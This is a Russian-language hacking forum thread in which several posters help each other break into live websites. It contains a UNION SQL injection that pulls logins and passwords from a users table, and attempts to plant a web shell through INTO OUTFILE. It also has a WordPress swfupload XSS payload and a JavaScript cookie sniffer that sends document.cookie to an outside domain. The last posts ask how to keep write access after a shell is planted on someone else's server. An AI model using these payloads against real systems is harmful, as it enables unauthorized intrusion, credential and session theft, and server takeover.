Oops, не заглянул в мануал, функция сильно устаревшая. У вас БД какой версии? Для MySQL 5 и 4: Code: FF: (пусто) GG: 1 and 0 UNION SELECT concat(login, 0x3A, pass), 2, 3, 4 FROM users LIMIT 1
Если верить данным исполняемого файла (при условии, что я правильно понял; он был скачен и просмотрен в текстовом редакторе), то 5.1.67. Для MySQL 5.4 или для MySQL 4.х и MySQL 5.х? -- (Из прошлого моего комментария, т.к. ответ появился раньше, чем я дописал изменение) -- Если это поможет, то вот как формируется запрос (имена я изменил по ряду причин). Значения OUT_A и OUT_B выводятся в файл, а входные параметры $p_ina и $p_inb поддаются инъекции. Code: $sql = "select OUT_A, concat(NN1, ' ', NN2) as nn, OUT_B, LL"; $sql .= "from TABLE "; $sql .= " where DD = 0"; $sql .= " and IN_A = '".$p_ina."'"; $sql .= " and IN_B = '".$p_inb."'"; $sql .= " and DDD = 1"; $this -> select_from_db($sql, $out_data); Забыл, что в конце запроса был 4й входной параметр, но, я так полагаю, его можно просто закомментировать и его наличие ни на что не влияет. UPD: после некоторых раздумий, я смог осознать предложенную механику, и мне таки удалось сделать по другому полю таблицы (и вероятно не проблема сделать запрос к другой таблице вообще). Спасибо за совет!
Если не сложно, нужно еще немного помощи. Пробую залить первичный шелл через SQL инъекцию, но не получается, запрос, судя по всему, выдает ошибку. Варианта два - либо нет прав на запись файла в директорию сайта (не думаю, что в этом дело) или, самое вероятное, проблему создает хвост запроса - " and DDD = 1". Если в случае обычного запроса к таблицам можно было избавиться от хвоста, написав запрос, который объединяет три подзапроса через union, где первый и третий использовались лишь для замыкания конструкций по обе стороны от места инъекции, а главная работа происходила во втором, то сейчас такой трюк не сработает, будет выдавать "Incorrect usage of UNION and INTO". Попытка закомментировать хвост через ;# или # не дает эффекта. Код: Code: $sql = "select OUT_A, concat(NN1, ' ', NN2) as nn, OUT_B, LL"; $sql .= "from TABLE "; $sql .= " where DD = 0"; $sql .= " and IN_A = '".$p_ina."'"; $sql .= " and IN_B = '".$p_inb."'"; $sql .= " and DDD = 1"; $this -> select_from_db($sql, $out_data); Входные значение пробовал такие: $p_ina - 1 $p_ina - ' union select OUT_A,2,3,4 from TABLE where OUT_A = 123 union select 1,2,3,4 into outfile 'tmp'# Как добиться выполнения запроса - пока нет никаких идей. UPD: решил проверить, а работает ли комментирование хвоста через # для обычного запроса. Как оказалось, работает (потому я упростил вышенаписанное значение переменной в соответствии с ситуацией). В таком случае, запрос на запись файла не работает по каким-то другим причинам. Что интересно, что если удалить подчеркнутую часть, тем самым оставив лишь запрос на получение данных из таблицы, то работает. Такое ощущение, что у mysql нет прав на запись файлов, даже в собственном каталоге - такое может быть?
Проверив все, что пришло в голову, я попал в тупик. Учетная запись в mysql по всей видимости очень урезана, из-за чего я не могу производить запись в файл. Я пробовал вывести список того, какие права ей даны, но максимум, что мне показывает, так это "USAGE:NO", других видов прав как будто не существует (даже если строго задать запрос на показ значения, наприме для FILE). Доступа к mysql.user конечно же у меня нет, а чтение grantee из information_schema.user_privileges показывает лишь мой используемый аккаунт. Помимо этой sql инъекции есть php инъекция на чтение файлов (не root). Пробовал найти места страниц на исполнение кода, но в программе нигде не используются eval, exec, shell_exec, возможности инъекции в include/require тоже не смог найти (плюс, запрещено подключение файлов извне сервера, так что если вдруг, то только локально), и ко всему прочему ко многим глобальным переменным, как $_SESSION, $_GET, $_POST, $_REQUEST, применяется mysql_real_escape_string, strip_tags, htmlspecialchars (я же использую упущение при необработке cookies). Доступ к админ панели закрыт путем ограничения по списку допустимых IP адресов через $_SERVER['REMOTE_ADDR']. Быть может есть уязвимости в каких-то других файлах сайта, но получить список файлов я не могу, и потому приходится довольствоваться лишь тем, что было найдено в виде упоминаний в известных страницах плюс свои догадки о существовании страниц/файлов. По правде говоря, у меня закончились идеи, как можно было бы попытаться залить шелл. Не то, что бы я собирался что-то делать с сайтом, мне интересна сама возможность получить доступ к серверу как факт (это моя первая попытка в области взлома сайтов, потому очень хочется добиться хорошего результата). Если у кого-нибудь есть идеи, что можно было бы еще попытаться предпринять, буду рад услышать.
вопрос про параметри limit в таблице 300 записей, как указать параметр limit, чтобы все данные отобразились сразу
Можно ли каким-либо образом через SQL инъекцию, которая обрабатывается через mysql_db_query (PHP), выполнить SET операцию? Поскольку на group_concat по умолчанию стоит ограничение длины результата в 1024 символа, вытаскивать данные такими мелкими порциями очень ресурсо/времязатратно, потому хотелось бы попытаться выполнить "set group_concat_max_len = 100500".
это понятно)прописываю Code: http://site/wp-includes/js/swfupload/swfupload.swf?movieName=%22]%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%28document.cookie%29;// даёт мои куки,как я понял.затем написано undefined кликаю,открывается окно заливки файлов..Но что нужно залить?непосредственно js со сниффером?
Ну в интернете тема с XSS изъезженна. Примитивный JS код: Code: img = new Image(); img.src = "http://доменсниффера.ру/сниффер.gif?"+document.cookie;
Если ты можешь залить .html файл с JS кодом и картинкой сниффера - б-га ради. А так нужно выполнить код в рамках XSS (Именно там где алерт).
Подскажите. Имею шелл на сайте, все права и папки закрытые на запись, но все файлы (и папки) принадлежат пользователю apache, то есть тот же пользователь что и например веб шелл. На сервере выключены системные команд, и в disable functions стоит функция chmod() Что можно сделать в данной ситуации, чтобы файлы были снова врайтабельными?
как вариант попробовать изменить дефолтное значение чмод, которая описана вроде в системном файле <cstdlib>